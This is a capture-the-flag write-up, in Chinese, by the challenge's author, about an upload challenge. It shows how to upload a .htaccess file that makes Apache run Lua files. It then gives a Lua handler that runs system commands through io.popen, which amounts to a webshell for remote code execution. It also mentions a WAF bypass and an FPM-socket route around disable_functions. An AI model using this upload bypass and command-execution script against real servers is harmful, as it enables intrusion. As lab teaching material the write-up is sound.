朝花夕拾,自己出的题,发一发。

难度:

简单

知识点:

  • 方法一:.htaccess 上传绕过
  • 方法一:Lua 基本语法 bypass disable_function
  • 方法二:宝塔 Apache WAF 绕过
  • 方法二:FPM bypass disable_function

说明:

本题有两种解法。

一种是预期解也就是利用上传 .htaccess 和 lua 文件,使 lua 文件被解析从而造成RCE。

还有一种是通过百分号 % 绕过 WAF 上传 php,然后去攻击 tmp 目录下的 sock 绕过 disable_function。

复现环境

http://newupload.xhlj.wetolink.com/

步骤:

此处主要介绍预期解的方法一。

1. 直接构造一个 .htaccess 上传,使 lua 能被解析。

SetHandler lua-script

2. 再去网上找一个 lua 的脚本,改一改。利用 lua 来执行系统命令。

require "string"


--[[
     This is the default method name for Lua handlers, see the optional
     function-name in the LuaMapHandler directive to choose a different
     entry point.
--]]
function handle(r)
    r.content_type = "text/plain"


    if r.method == 'GET' then
        local t = io.popen('/readflag')
        local a = t:read("*all")
        r:puts(a)
        for k, v in pairs( r:parseargs() ) do
            r:puts( string.format("%s: %s\n", k, v) )
        end
    elseif r.method == 'POST' then
        r:puts("Hello Lua World!\n")
        for k, v in pairs( r:parsebody() ) do
            r:puts( string.format("%s: %s\n", k, v) )
        end
    elseif r.method == 'PUT' then
-- use our own Error contents
        r:puts("Unsupported HTTP method " .. r.method)
        r.status = 405
        return apache2.OK
    else
-- use the ErrorDocument
        return 501
    end
    return apache2.OK
end

其中这一段是关键。

local t = io.popen('/readflag')
local a = t:read("*all")
r:puts(a)

让 lua 执行系统命令 /readflag 并获取回显,需要执行其他命令则修改其中的命令。

3.最后访问这个lua 文件即可执行命令获得 flag。

/sandbox/9va7eogj0ov17g4van3lp3hel1/upload/glzjin.lua